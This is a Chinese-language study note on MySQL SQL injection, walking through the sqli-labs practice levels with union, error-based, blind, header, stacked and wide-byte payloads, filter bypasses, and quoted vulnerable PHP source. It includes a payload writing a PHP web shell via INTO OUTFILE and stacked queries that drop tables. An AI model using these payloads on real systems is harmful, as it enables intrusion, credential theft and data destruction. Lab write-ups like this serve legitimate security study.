SQL注入

此文是基于MySQL数据库的学习记录

认识sql注入

  1. sql注入是一种web应用代码漏洞,在与数据库有交互的地方没有对用户的输入做好限制且没有对传入数据的进行过滤,通过构造特殊的请求,使web应用执行附加条件的sql语句以此返回想要的信息,实现对数据库的任意查询
  2. 常见sql注入的类型:

1.显错注入

2.报错注入

3.布尔盲注

4.延时注入(基于时间的盲注)

5.http-header注入(User-Agent 和 Cookie)

6.堆叠注入

7.DNS_log注入

3.sql注入的作用:

1.绕过登陆验证

2.获取敏感信息

3.文件操作(读写,传马)

4.执行系统命令(UDF)

sql注入类型详解

1.显错注入: 也称为联合注入,因为在显错注入里最常用的查询语句结构就是 union 联合查询。这种注入方式的前提是我们可以看到想要的回显,数据库的执行结果 直接显示 到页面上,常用的步骤:

1.判断注入点是否存在**?id=1’ **报错就存在sql注入。原因是无论字符型还是整型都会因为单引号个数不匹配而报错

2.使用 order by 判断字段(“少准对 多错”)

3.使用 union select 联合查询查看显示位,注意:要保证union 前面的查询错误才会显示后面的查询, 例如: ?id=-123 union select 1,2,3,4– -

4.在显示位上使用查询 库、表、字段、字段内容 的sql语句

2.报错注入: 前提是对方服务器开启了报错显示服务。利用报错服务获取数据库数据的操作就是报错注入,通常与 **union select **连用;一般步骤:

1.判断是否存在注入点(同上)

2.故意构造报错语句,这里我们常用的3个函数 updatexml(XML_document, XPath_string, new_value)floor()extractvalue(XML_document,xpath_string)

例如:**?id=-1’ union select updatexml(1,concat(‘.’,(select group_concat(schema_name)from information_schema.schemata)),1);– -**

解释两个函数:

1.updatexml(XML_document, XPath_string, new_value) 用来更新XML文档,该函数有3个参数。

第一个参数:是string格式,为XML文档对象的名称,文中为Doc

第二个参数:代表路径,Xpath格式的字符串例如 //title【@lang】

第三个参数:string格式,替换查找到的符合条件的数据

updatexml使用时,1、3参数可以全写阿拉伯数字,不影响。主要使用的是第2参数的格式错误。当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)但是最多返回32位

例如 爆库名 构造payload:**?id=-1’ union select updatexml(1,concat(‘~’,(select group_concat(schema_name)from information_schema.schemata)),1);– -**

2.extractvalue(XML_document,xpath_string) 此函数用来从目标XML中返回包含所查询值的字符串,有两个参数。

第一个参数:string格式,为XML文档对象的名称

第二个参数:xpath_string(xpath格式的字符串)

extractvalue使用时,1参数可以写阿拉伯数字填充,不影响。当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)但是最多返回32位

?id=-1’ union select extractvalue(1,concat(‘~’,(select database())));– -

3.布尔盲注:当我们在注入时遇到有些网站没有输出点,且关闭了错误回显,这时我们可以考虑使用布尔盲注。盲注基本就是猜,费时费力。一般使用以下几个函数进行猜解。

1.length():函数的返回值为字符串的字节长度。

2.substr():截取字符串,用法substr(string, start,length)

3.string-指定的要截取的字符串 start-规定在字符串的何处开始 length-指定要截取的字符串长度

4.ascii():返回字符串中第一个字符的ascii值

使用演示:

1.使用length()函数猜数据库名长度

如length(database())>10,页面显示正常

length(database())>20,页面显示不正常

length(database())=9,页面显示正常

我们可以用二分法猜解得到数据库的长度

2.利用ascii猜数据库名

and (ascii(substr(database(),1,1)))=100,如果页面返回正常,说明数据库名称第一位是d

3.猜字段名

and (ascii(substr((select column_name from information_schema.columns where table_name=’aaa’ limit 0,1),1,1)))>100

4.延时注入(基于时间的盲注):有时候我们会遇到一种情况,无论怎么操作页面都是返回正常,这时我们可以考虑用延时注入

延时注入最常用的函数sleep()

sleep():执行挂起一段时间,也就是等待一段时间在继续执行

例:select * from users where id=1 and sleep(5); /* 5秒之后执行SQL语句*/

if(expr1,expr2,expr3):expr1为0或者null或者false,则返回 expr3 ; 否则,返回expr2。

构造语句:and if(ascii(substr(database(),1,1))=100,0,sleep(10))

如果库名第一个字符是d,则网页延时10秒

5.http-header注入:通过构造 HTTP请求头来达到爆出数据库内容的方式。HTTP请求头内容很多,我们通常修改以下两个参数 User-AgentCookie (在使用之前要将请求头发送到 repeater 模块,才能修改)

(User-Agent)一般步骤:

1.抓包,将包发送到repeater模块

2.将User-Agent删掉,自己构造一个 ,还是按照之前的思路,先输入一个单引号,然后放包,若页面显示报错,接下来的步骤就很简单了,制作一个能用的payload。比如: User-Agent: 666’ or updatexml (1,concat (0x7e,database()),0) or ‘

3.持续构造payload 查看不同数据

(Cookie) 一般步骤 :

1.抓包,将包发送到repeater模块

2.例如我们现在账号后面加一个逗号,放包,若是页面显示错误,存在sql注入

3.构造payload ,将cookie 构造成 例如 Cookie: ant[uname]=admin’ and updatexml (1, concat (Ox7e, database()),0) or ‘;

6.堆叠注入: 就是同时执行两条以上的sql语句

例如: ‘;select * from admins;show database()

7.DNS_log注入:属于sql 注入的一种(oob在sql中的应用) oob:数据外带。前提条件: secure_file_priv = “ ” 否则不行, 任意文件读取。

首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下

效果:将盲注,时间注入 变成显错(联合)注入

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

利用场景:

在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNS_log注入。

sqli 靶场

1关:’ 闭合 显错报错

1
2
3
4
5
6
7
8
9
?id=-1' union select 1,2,3-- - //查显示位

?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3-- - //查全库

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3-- - //查表

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3-- - //查字段

?id=-1' union select 1,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from users),3-- - //查数据

2关:数字型注入 显错注入

payload 参考2关

**3关: ‘) 闭合 显错注入 **

payload 参考2关

4关:”) 闭合 显错注入

payload 参考2关

5关:’ 闭合 报错注入

1
2
3
4
5
6
7
8
9
?id=-1' union select updatexml(1,concat('.',(select database())),1)-- -//查当前数据库

?id=-1' union select 1,2,updatexml(1,concat('.',(select schema_name from information_schema.schemata limit 0,1)),1)-- - //查全库(使用limit 控制)

?id=-1' union select 1,2,updatexml(1,concat('.',(select group_concat(table_name)from information_schema.tables where table_schema='security')),1)-- - //查表

?id=-1' union select 1,2,updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')) ,1)-- - //查字段

?id=-1' union select 1,2,updatexml(1,concat('.',(select concat(id,0x7e,username,0x3A,password,0x7e)from users limit 0,1)),1)-- -//查数据

6关:” 闭合 报错注入

payload 参考5关

7关: “)) 闭合 文件写入

上传木马,使用蚁剑连接

1
2
3
4
5
6
7
?id=1')) union 
select 1,2,'<?php eval($_POST[cmd]);>' into outfile "D:\\phpstudy_pro\\999.php" -- -
bug:因为?id=1,所以上传的文件中会显示第1个用户的账号和密码。若?id=2,则上传的文件中会显示第2个用户的账号和密码。

?id=-1')) union
select 1,2,'<?php eval($_POST[cmd]);>' into outfile "D:\\phpstudy_pro\\999.php" -- -
则不会出现这种情况

8关:’ 闭合 布尔盲注

9关:’ 闭合 时间盲注

10关:” 闭合 时间盲注

11关:’ 闭合 显错注入

1
2
3
4
5
6
7
8
9
order by 猜字段payload :uname=admin' order by 2#&passwd=admin&submit=Submit
显示位:uname=-admin' union select 1,2##&passwd=1&submit=Submit
查数据库:uname=-admin' union select 1,(select group_concat(schema_name) from information_schema.schemata)##&passwd=1&submit=Submit 或uname=-admin' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit

查表:uname=-admin' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')##&passwd=1&submit=Submit

查字段:uname=-admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security'andtable_name='users')##&passwd=1&submit Submit

字段内容:uname=-admin' union select 1,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e))from users)##&passwd=1&submit=Submit

12关:”) 闭合 显错注入, 同11关

13关:’) 闭合 报错注入

1
2
3
4
5
6
7
8
9
查看当前数据库:uname=admin') union select 1,updatexml(1,concat('.',(select database())),1)##&passwd=1&submit=Submit

查看全部数据库:uname=admin') union select 1,updatexml(1,concat('.',(select concat(schema_name)from information_schema.schemata limit 1,1)),1)##&passwd=1&submit=Submit //使用 limit控制输出内容

查看表:uname=admin') union select 1,updatexml(1,concat('.',(select group_concat(table_name)from information_schema.tables where table_schema='security')),1)##&passwd=1&submit=Submit

查看字段:uname=admin') union select 1,updatexml(1,concat('.',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)),1)##&passwd=1&submit=Submit //使用 limit 控制输出

查看字段内容:uname=admin') union select 1,updatexml(1,concat('.',(select concat(id,0x7e,username,0x3A,password,0x7e)from users limit 2,1)),1)##&passwd=1&submit=Submit //使用 limit控制输出内容

14关:” 闭合 报错注入,同13关

**15关:’ 闭合 布尔盲注,延时注入 **

1
2
3
4
5
布尔盲注
uname=' or (ascii(substr((select database()) ,1,1))) = 115 #&passwd=' or 1=1 #&submit=Submit //猜当前数据库的第一个字符为 S

时间盲注:
uname=1' and 1=2 union select 1,(length(database()儿)= 8 and if(1=1, sleep(5), 1)#&passwd=1&submit=Submit //猜当前数据库的第一个字符为 S

16关:” 闭合 布尔盲注,延时注入 同15关

17关:’ 闭合 报错注入 同13关

18关:HTTP 头部注入 User-Agent

1
2
3
4
5
6
7
8
9
10
11
12
13
代码审计,找到 insert(插入数据的意思)
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent','$IP', $uname)";

User-Agent: 处注入
猜想在数据中的sql语句为:insert into table values('User-Agent','Ip','Username')

接下来我们尝试在User-Agent的位置进行注入测试,我们修改User-Agnet的值使其符合整个 insert into 的语法,闭合后就应该为 insert into table values('1' ,1,1)#','Ip','Username'),成功绕过

18:源码片段$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";//这里是三个值
改为:User-Agent: ' and updatexml(1,concat(0x7e,(database()),0x7e),0) or //这里是三个值
User-Agent 的闭合原理思路还得研究
或者:User-Agent: ' and updatexml(1,concat(0x7e,(database()),0x7e),0) and'
或者:User-Agent: ' and updatexml(1,concat(0x7e,(database()),0x7e),0),1,1)#

19关:HTTP 头部注入 Referer

1
2
3
4
5
19:源码片段$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')"; //这里是两个值
sql注入显示Column count doesn't match value count at row 1,那么意味着你的值数目不对应
比如insert into 表名 (field1,field2,field3) values('a','b')这样前面的是三列,后面却只有二个值,这就会出现这个错误的

Referer: 'and updatexml(1,concat(0x7e,(database()),0x7e),0),1)# //这里是两个值
1
2
3
4
5
6
7
8
9
10
11
12
源码$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

正常登录后,admin' 报错,说名存在SQL注入
修改value值,必须把语句放在位置3,否则有些语句会报错(原因未知)

查所以数据库:-n'union select 1,2,group_concat(schema_name)from information_schema.schemata#

查表:-n'union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'#

查字段:-n'union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'#

查字段内容:-n'union select 1,2,group_concat(id,0x7e,username,0x3A,password,0x7e) from security.users#

21关:HTTP 头部注入 ‘) 闭合 过base64的Cookie

1
2
3
4
源码片段:$cookee = base64_decode($cookee); 
例如:-n" union select 1,2,group_concat(schema_name)from information_schema.schemata#
base64后再去执行:
LW4iIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHNjaGVtYV9uYW1lKWZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhIw==

22关:HTTP 头部注入 ” 闭合 过base64的Cookie

1
2
3
4
5
源码$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
例如:-n" union select 1,2,group_concat(schema_name)from information_schema.schemata#
base64后再去执行:
LW4iIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHNjaGVtYV9uYW1lKWZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhIw==

23关:get 请求 过滤了注释符 显错注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
源码片段:
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
将注释符过滤为空不能像以前那样
?id=-1' union select 1,(select database()),3-- -
此处的sql语句为
SELECT * FROM users WHERE id='-1' union select 1,(select database()),3-- -'limit 0,1-- -后面的语句就会被忽略)

解决办法1:?id=-1' union select 1,(select database()),'3
此处的sql语句为
SELECT * FROM users WHERE id='-1' union select 1,(select database()),'3' limit 0,1(这样整个句子就通了,只要通了就能运行)

解决办法2:?id=-1' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
此处的sql语句为
SELECT * FROM users WHERE id='-1' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '' limit 0,1
语句通顺就是可以运行的

24关:二次注入

数据进库是没有执行,在出库时才被执行

1
2
3
4
1.先注册一个admin' #的账号。
2.登录admin'#,修改该账号的密码,此时修改的就是admin的密码。Sql语句变为 UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'AND password='
也就是执行了UPDATE users SET passwd='New_Pass' WHERE username ='admin'
成功的话页面会提示Password successfully updated

25关:and 和 or 被过滤 显错注入

尝试大小写绕过失败

过滤方法:双写

还可以用对应符号代替 or = || ,and = &&

1
2
3
4
5
6
7
8
?id=1' oorrder by 4-- - //查列数

?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' -- - //查数据库

?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users'-- - //查字段数

?id=-1' union select 1,2,group_concat(id,0x7e,username,0x3A,passwoorrd,0x7e) from security.users-- - //字段内容

25a关:和25方法一样,只是这是数字型 显错注入

就是不用闭合

26关:过滤了 or,and , / , – , # , 空格 , / 报错注入,显错注入*

空格:

使用 %0A 替代空格,使用 “||” 替代 “or”,使用 “%26%26” 替代 “and”

闭合:

在语句尾部构造 ‘ 或 %00注释

使用报错注入,函数内不需要考虑空格

1
2
3
4
5
6
7
8
9

?id=-1' || updatexml(1,concat(0x7e,database()),1) || '1'='1 //查数据库

?id=1' || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema='security'))) ,1) || '1'='1 //查表

?id=1'||updatexml(1,concat(1,(SELECT (group_concat(column_name)) FROM (infoorrmation_schema.columns) WHERE (table_schema='security' %26%26 table_name = 'users'))) ,1) || '1'='1 //查字段

?id=-1' || updatexml(1,concat(0x0a,(SELECT(group_concat(concat_ws(0x3a,username,passwoorrd))) FROM (security.users) WHERE (id = 1) )) ,1) || '1'='1 //查数据 调整id=n

26a关:闭合多一个括号 ‘) 报错注入,显错注入

payload 可以和26一样(报错),也可以和27a一样(显错)

27关:过滤 关键字 union 和 select 报错注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
过滤
function blacklist($id){
$id= preg_replace('/[\/\*]/',"", $id); //过滤 /*
$id= preg_replace('/[--]/',"", $id); //过滤 --.
$id= preg_replace('/[#]/',"", $id); //过滤 #.
$id= preg_replace('/[ +]/',"", $id); //过滤 spaces.
$id= preg_replace('/select/m',"", $id); //过滤 spaces.
$id= preg_replace('/[ +]/',"", $id); //过滤 spaces.
$id= preg_replace('/union/s',"", $id); //过滤 union
$id= preg_replace('/select/s',"", $id); //过滤 select
$id= preg_replace('/UNION/s',"", $id); //过滤 UNION
$id= preg_replace('/SELECT/s',"", $id); //过滤 SELECT
$id= preg_replace('/Union/s',"", $id); //过滤 Union
$id= preg_replace('/Select/s',"", $id); //过滤 select
return $id;
}

使用大小写或者双写绕过

1
2
3
4
5
6
7
8
9
同样使用 updataxml 报错注入,函数内避开空格过滤
?id=-1' || updatexml(1,concat(0x7e,database()),1) || '1'='1 //查当前数据库

?id=1' || updatexml(1, concat(0x7e, (SElect (group_concat(table_name)) FROM (information_schema.tables) WHERE (table_schema='security'))) ,1) || '1'='1 //查表

?id=1'||updatexml(1,concat(1,(SElect(group_concat(column_name)) FROM (information_schema.columns) WHERE (table_schema='security' %26%26 table_name = 'users'))) ,1) || '1'='1 //查字段

?id=-1' || updatexml(1,concat(0x0a,(SElect(group_concat(concat_ws(0x3a,username,password))) FROM (security.users) WHERE (id = 4) )),1) || '1'='1 //查数据 调整id=n

27a关:只是闭合方式不一样 显错注入

1
2
3
4
5
6
7
8
9
?id=9999"%0AUNiON%0ASElECT%0A1,2,3%0Aor%0A"1"="1 //查显示位

?id=9999"%0AUNiON%0ASElECT%0A1,(SElect%0Agroup_concat(schema_name)%0Afrom%0Ainformation_schema.schemata),3%0Aor%0A"1"="1//全库

?id=9999"%0AUNiON%0ASElECT%0A1,(SElect%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'),3%0Aor%0A"1"="1 //查表

?id=9999"%0AUNiON%0ASElECT%0A1,(SElect%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'),3%0Aor%0A"1"="1 //查字段

?id=9999"%0AUNiON%0ASElECT%0A1,(SElect%0Agroup_concat('~',id,'.',username,'.',password,'.')%0Afrom%0Asecurity.users),3%0Aor%0A"1"="1 //查数据

28关:过滤 union select 组合 显错注入

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //过滤 /*
$id= preg_replace('/[--]/',"", $id); //过滤 --.
$id= preg_replace('/[#]/',"", $id); //过滤 #.
$id= preg_replace('/[ +]/',"", $id); //过滤 spaces.
//$id= preg_replace('/select/m',"", $id); //过滤 spaces.
$id= preg_replace('/[ +]/',"", $id); //过滤 spaces.
$id= preg_replace('/union\s+select/i',"", $id); //过滤 UNION & SELECT.
return $id;
}

双写绕过union select:ununion selection select

1
2
3
4
5
6
7
8
9
10
11
?id=9999')ununion%0Aselection%0Aselect%0A1,database(),3||('1')=('1 //查询当前数据库

?id=9999')ununion%0Aselection%0Aselect%0A1,(select%0Agroup_concat(schema_name)%0Afrom%0Ainformation_schema.schemata),3||('1')=('1 //全库

?id=9999')ununion%0Aselection%0Aselect%0A1,(select%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'),3||('1')=('1 //查表

?id=9999')ununion%0Aselection%0Aselect%0A1,(select%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'),3||('1')=('1 // 查字段

?id=9999')ununion%0Aselection%0Aselect%0A1,(select%0Agroup_concat('~',id,'.',username,'.',password,'.')%0Afrom%0Asecurity.users),3||('1')=('1 //查数据


29关:有WAF 对参数进行高效过滤

‘ 闭合

绕过的方法是 **HPP (HTTP Parameter Pollution)**,也就是 HTTP 参数污染。我们注入两个同名的参数 id,第一个参数用于绕过 WAF,第二个参数用于注入

1
2
3
4
?id=1&id=2 //两个参数

?id=1&id=2' order by 99999-- - //查字段数
往下是和第一关一样的payload (简单)

源码如下,源码通过了 java_implimentation() 方法获取到了 id 参数。接着源码使用 GET 方法获取 id 参数,并通过 whitelist() 方法判断参数是否合法。注意我们在上面传入了 2 个同名参数,使用 GET 方法获取到的是后面的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
源码:
// take the variables
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];
$hint = $qs;
$id1 = java_implimentation($qs);
$id = $_GET['id'];
//echo $id1;
whitelist($id1);

// connectivity
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}

java_implimentation() 方法

该方法将 GET 读入的整行参数使用 explode() 方法对 “&” 进行分割,返回一个分割后的数组。接着方法通过 substr() 方法提取对 “&” 分割后的第一个元素的前 2 个字符,若这 2 个字符是 “id”,则再次使用 substr() 方法提取等号后面的值返回。注意该方法提取的是 2 个同名变量中的第一个,因此它无法对第二个同名变量进行操作



//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
whitelist() 方法

该方法使用正则表达式判断传入的参数是否是数字,若不是数字则跳转页面。由于注入 2 个同名参数时,java_implimentation() 方法返回的参数是第一个 id 参数,此时这个过滤就被我们绕过了

30关:” 闭合,有WAF 高效过滤

使用参数污染

1
2
?id=1&id=2" order by 3-- - //查字段数
往下和29关一样

31关:”) 闭合,有WAF

使用参数污染,用第二个参数进行注入,同30关

32关:单引号闭合,单引号参数被转义

使用宽字节注入

当数据库的编码采用 GBK 国标码时,虽然单引号还是会加上反斜杠从而被转义,但是 “%df” 会和反斜杠的 URL 编码 “%5C” 闭合,从而构成 GBK 国标码中的汉字“連”,使得用于转义的反斜杠被我们“吃掉”了

1
2
3
4
5
?id=1%df' //宽字节注入

返回
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1�\'' LIMIT 0,1' at line 1
这种操作是由于 GBK 国标码是双字节表示一个汉字,因此导致了反斜杠和其他的字符共同表示为一个汉字。这可以让数据库的 SQL 查询了正确的参数(汉字),从而可以使用 UNION 语句进行注入

开始注入

1
2
3
4
5
6
7
8
9
10
11
12
13
?id=1%df' order by 3-- - //查字段数

?id=-1%df' union select 1,2,3-- - //查显示位

?id=-1%df' union select 1,@@version,database()-- - //查版本与当前数据库

?id=-1%df' union select 1,(select group_concat(schema_name)from information_schema.schemata),database()-- - //查所有数据库

?id=-1%df' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479),3-- - //查表名注意此处数据库名要用十六进制 (HEX) 编码替代,避免单引号的使用

?id=-1%df' union select 1,(select group_concat(column_name)from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273),3-- - //查字段,同样要使用hex

?id=-1%df' union select 1,(select group_concat(0x7e,id,0x2e,username,0x2e,password)from security.users),3-- - //查数据

可以看到 id 参数传入时,会先经过 check_addslashes() 函数,该函数起到的作用应该就是转义字符了。注意网页会把数据库的编码改成 GBK,给宽字节注入提供了可能性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
源码:
$id = check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

// connectivity
mysql_query("SET NAMES gbk");
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#00FF00">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}



check_addslashes() 函数

该函数使用正则表达式匹配字符,将 ' 转义为 ' , 将 \ 转义为 \ ,将 " 转义为 "

function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //把\\变成斜体,再使用\\\\\\去替换
backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash

return $string;
}

preg_replace() 搜索第3参数中匹配第1参数的部分,以第2参数进行替换

preg_quote() 需要参数 str 并向其中 每个正则表达式语法中的字符前增加一个反斜线。 这通常用于你有一些运行时字符串 需要作为正则表达式进行匹配的时候。
正则表达式特殊字符有: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -

33关:与32一模一样

1
2
3
4
5
6
7
8
9
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}

check_addslashes() 函数

此处的过滤函数是 addslashes() 函数,用于在预定义字符之前添加反斜杠,预定字符有单引号、双引号和反斜杠

34关:POST ‘ 闭合 宽字节注入

要通过 BP 操作 payload 就行了,和32关一样

35关:数字型注入

判断闭合,以下方式均闭合失败。可能是数字型注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
?id=1%df'-- -

?id=1%df')-- -

?id=1%df'))-- -

?id=1%df"-- -

?id=1%df")-- -

?id=1%df"))-- -


?id=1 and 1=1-- -正常
?id=1 and 1=2-- -异常
验证了它为数字型
由于数值型注入不涉及任何编码问题,因此任何转义操作都形同虚设

?id=-1 union select 1,2,3-- - //查显示位
和第一关一样

36关:’ 闭合 宽字节注入

1
2
?id=-1 union select 1,2,3-- - //查显示位
下面的payload 与32关一样

37关:POST ‘ 闭合 宽字节注入

和34关完全一样

38关:’ 闭合 堆叠注入’

所谓堆叠注入就是在原语句后加上分号,从而闭合前面的内容作为第一条 SQL 语句,这是毁灭性的漏洞,骇客可以肆意操作数据库。这一关可以使用第一关的 payload 过。

1
2
3
4
?id=1';CREATE TABLE a LIKE users;--+ //创建一张和users 一样的表
?id=1';INSERT INTO a SELECT * FROM users;--+ //将user里的数据插入a表中
?id=1';DELETE FROM a;--+//删除a表中的数据
?id=1';DROP TABLE a;--+//删除a表

可以看到源码使用了 mysqli_multi_query() 函数,该函数可以执行多个 MySQL 语句。之前的 Less 使用的是 mysql_query() 函数,该函数只执行一条 MySQL 查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";

/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
//mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}

39关:数字型 堆叠注入

参考38关

40关:’) 闭合 堆叠注入

参考38关

41关:数字型 堆叠注入

参考38关

42关:POST 密码处 ‘ 闭合 二次注入,堆叠注入

页面和24关的二次注入一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
用户处使用万能密码,失败
1 OR 1 = 1#
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

密码处使用万能密码,成功,说明用户处存在过滤
1' or 1=1#

然后开始堆叠注入 参考38
a' or 1 = 1;CREATE TABLE a LIKE users;#

a' or 1 = 1;INSERT INTO a SELECT * FROM users;#

a' or 1 = 1;DELETE FROM a;#

a' or 1 = 1;DROP TABLE a;#

username 字段使用 mysqli_real_escape_string() 函数进行转义,而 password 字段没有任何防御措施

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
/* store first result set */
if($result = @mysqli_store_result($con1))
{
if($row = @mysqli_fetch_row($result))
{
if ($row[1])
{
return $row[1];
}
else
{
return 0;
}
}
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}

43关:用户处有过滤,密码处 ‘) 闭合 使用万能密码。二次注入,堆叠注入

参考42关 和 38关

44关:同43关,密码处 ‘ 闭合 二次注入,堆叠注入

45关:同43关,用户处有过滤,密码处 ‘) 闭合 使用万能密码。二次注入,堆叠注入

**46关:显示表单 数字型 报错注入 **

页面提示 “请输入参数为带有数值的 sort”

所以我们将 之前一直使用的 id 换为 sort .返回一张表格

改变参数 sort 的值,发现返回的列表是根据该表的第 sort 列排序进行回显

1
2
3
4
5
6
7
此处是数字型注入,因为以下的闭合方式均失败
?sort=1'--+
?sort=1')--+
?sort=1'))--+
?sort=1"--+
?sort=1")--+
?sort=1"))--+

开始注入

1
2
3
4
5
6
7
8
9
10
?sort=1 and updatexml(1,concat("~",database()),3)-- -//当前数据库名

?sort=1 and updatexml(1,concat("~",(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),2)-- - //查表

?sort=1 and updatexml(1,concat("!",(select group_concat(column_name) from information_schema.columns WHERE table_schema = 'security' table_name = 'emails')),2)-- - //查字段

?sort=1 and updatexml(1,concat('~',(select concat_ws(':',id,email_id) from (select id,email_id from emails)aaa limit 0,1)),1)-- - //查数据,使用limit 控制输出

Every derived table must have its own alias!(当不给予表单名字的时候会报错)
所以我们在要查询的数据末尾设置一个名字。这里我使用的是 “aaa”

